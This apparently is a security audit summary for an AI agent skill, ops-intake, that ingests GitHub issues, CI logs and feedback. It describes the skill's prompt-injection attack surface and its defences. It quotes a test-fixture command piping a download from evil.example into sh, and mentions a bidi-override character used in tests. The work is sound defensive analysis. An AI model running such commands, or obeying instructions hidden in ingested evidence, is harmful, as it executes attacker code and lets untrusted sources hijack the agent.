The Agent Skills Directory

[INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest untrusted data from sources such as GitHub issues, CI logs, and customer feedback, which represents a potential attack surface.
Ingestion points: Data enters the system through assets/intake.py via the import command (piped from CLI tools) or through transformed feedback export files.
Boundary markers: The skill instructions mandate the use of shell pipes to keep untrusted output out of the agent's immediate context and require evidence to be isolated in fenced blocks labeled "External evidence (untrusted)" in generated specifications.
Capability inventory: The core logic files (assets/intake.py and assets/adapters.py) are strictly limited to standard library file I/O and data processing, with no ability to execute shell commands or open network sockets. Ancillary test scripts use subprocess to interact with git.
Sanitization: The skill performs automatic redaction of email addresses and phone numbers. It also identifies and escapes hidden Unicode characters, bidi overrides, and control characters to prevent terminal manipulation or text reordering.
[COMMAND_EXECUTION]: Several files in the assets/ and eval/ directories use execution functions.
Evidence: subprocess.run and os.system calls are found in assets/test_intake_sync.py, eval/run_eval.py, and other test files.
Context: These calls are restricted to test and evaluation scripts and are used primarily to invoke git or other local build tools for verification purposes. The operational logic of the skill does not use these capabilities.
[REMOTE_CODE_EXECUTION]: Automated scanners identified patterns resembling remote code execution (curl ... | sh).
Evidence: These strings (e.g., curl evil.example | sh) are explicitly included in test fixtures within eval/run_eval.py and assets/test_intake_sync.py.
Context: These are used to verify the "copy tripwire" and linting mechanisms which prevent malicious commands embedded in signal evidence from being approved for execution.
[OBFUSCATION]: Scanners detected hidden Unicode characters such as Right-to-Left Override (RLO).
Evidence: The RLO (‮) character is present in eval/run_eval.py.
Context: This is used within a test case to ensure that the skill's linter correctly identifies and rejects bidi overrides in command definitions, preventing deceptive instructions.

ops-intake